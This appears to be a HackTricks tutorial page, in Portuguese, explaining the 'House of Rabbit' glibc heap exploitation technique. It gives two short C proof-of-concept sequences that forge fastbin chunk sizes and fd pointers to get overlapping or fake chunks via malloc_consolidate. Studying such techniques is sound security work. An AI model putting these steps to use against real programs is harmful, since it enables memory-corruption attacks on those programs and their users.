# Casa do Coelho {% hint style="success" %} Aprenda e pratique Hacking na AWS: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique Hacking no GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Apoie o HackTricks * Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** šŸ’¬ [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** šŸ¦ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe truques de hacking enviando PRs para os repositĆ³rios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} ### Requisitos 1. **Capacidade de modificar o ponteiro fd ou o tamanho do fast bin**: Isso significa que vocĆŖ pode alterar o ponteiro forward de um pedaƧo no fastbin ou seu tamanho. 2. **Capacidade de acionar `malloc_consolidate`**: Isso pode ser feito alocando um grande pedaƧo ou mesclando o pedaƧo superior, o que forƧa o heap a consolidar pedaƧos. ### Objetivos 1. **Criar pedaƧos sobrepostos**: Para ter um pedaƧo sobreposto com outro, permitindo manipulaƧƵes adicionais no heap. 2. **Forjar pedaƧos falsos**: Para enganar o alocador a tratar um pedaƧo falso como um pedaƧo legĆ­timo durante operaƧƵes no heap. ## Etapas do ataque ### POC 1: Modificar o tamanho de um pedaƧo fast bin **Objetivo**: Criar um pedaƧo sobreposto manipulando o tamanho de um pedaƧo fastbin. * **Passo 1: Alocar PedaƧos** ```cpp unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000 unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050 malloc(0x10); // Allocates a small chunk to change the fastbin state ``` * **Passo 2: Liberar Chunks** ```cpp free(chunk1); // Frees the chunk at 0x602000 free(chunk2); // Frees the chunk at 0x602050 ``` * **Passo 3: Modificar o Tamanho do Chunk** ```cpp chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1]) ``` * **Passo 4: Acionar `malloc_consolidate`** ```cpp malloc(0x1000); // Allocate a large chunk to trigger heap consolidation ``` Alocar um grande bloco aciona a funĆ§Ć£o `malloc_consolidate`, mesclando pequenos blocos no fast bin. O tamanho manipulado do `chunk1` faz com que ele se sobreponha ao `chunk2`. ApĆ³s a consolidaĆ§Ć£o, o `chunk1` se sobrepƵe ao `chunk2`, permitindo uma exploraĆ§Ć£o adicional. ### POC 2: Modificar o ponteiro `fd` **Objetivo**: Criar um bloco falso manipulando o ponteiro `fd` do fast bin. * **Passo 1: Alocar Blocos** ```cpp unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000 unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050 ``` **ExplicaĆ§Ć£o**: Alocamos dois blocos, um menor e um maior, para configurar o heap para o bloco falso. * **Passo 2: Criar bloco falso** ```cpp chunk2[1] = 0x31; // Fake chunk size 0x30 chunk2[7] = 0x21; // Next fake chunk chunk2[11] = 0x21; // Next-next fake chunk ``` * **Passo 3: Liberar `chunk1`** ```cpp free(chunk1); // Frees the chunk at 0x602000 ``` **ExplicaĆ§Ć£o**: Liberamos `chunk1`, adicionando-o Ć  lista fastbin. * **Passo 4: Modificar `fd` de `chunk1`** ```cpp chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2 ``` **ExplicaĆ§Ć£o**: Alteramos o ponteiro para frente (`fd`) do `chunk1` para apontar para o nosso chunk falso dentro do `chunk2`. * **Passo 5: Acionar `malloc_consolidate`** ```cpp malloc(5000); // Allocate a large chunk to trigger heap consolidation ``` Alocar novamente um grande bloco aciona o `malloc_consolidate`, que processa o bloco falso. O bloco falso passa a fazer parte da lista fastbin, tornando-se um bloco legĆ­timo para futuras exploraƧƵes. ### Resumo A tĆ©cnica **House of Rabbit** envolve modificar o tamanho de um bloco fast bin para criar blocos sobrepostos ou manipular o ponteiro `fd` para criar blocos falsos. Isso permite que os atacantes forjem blocos legĆ­timos no heap, possibilitando vĆ”rias formas de exploraĆ§Ć£o. Compreender e praticar esses passos irĆ” aprimorar suas habilidades de exploraĆ§Ć£o de heap.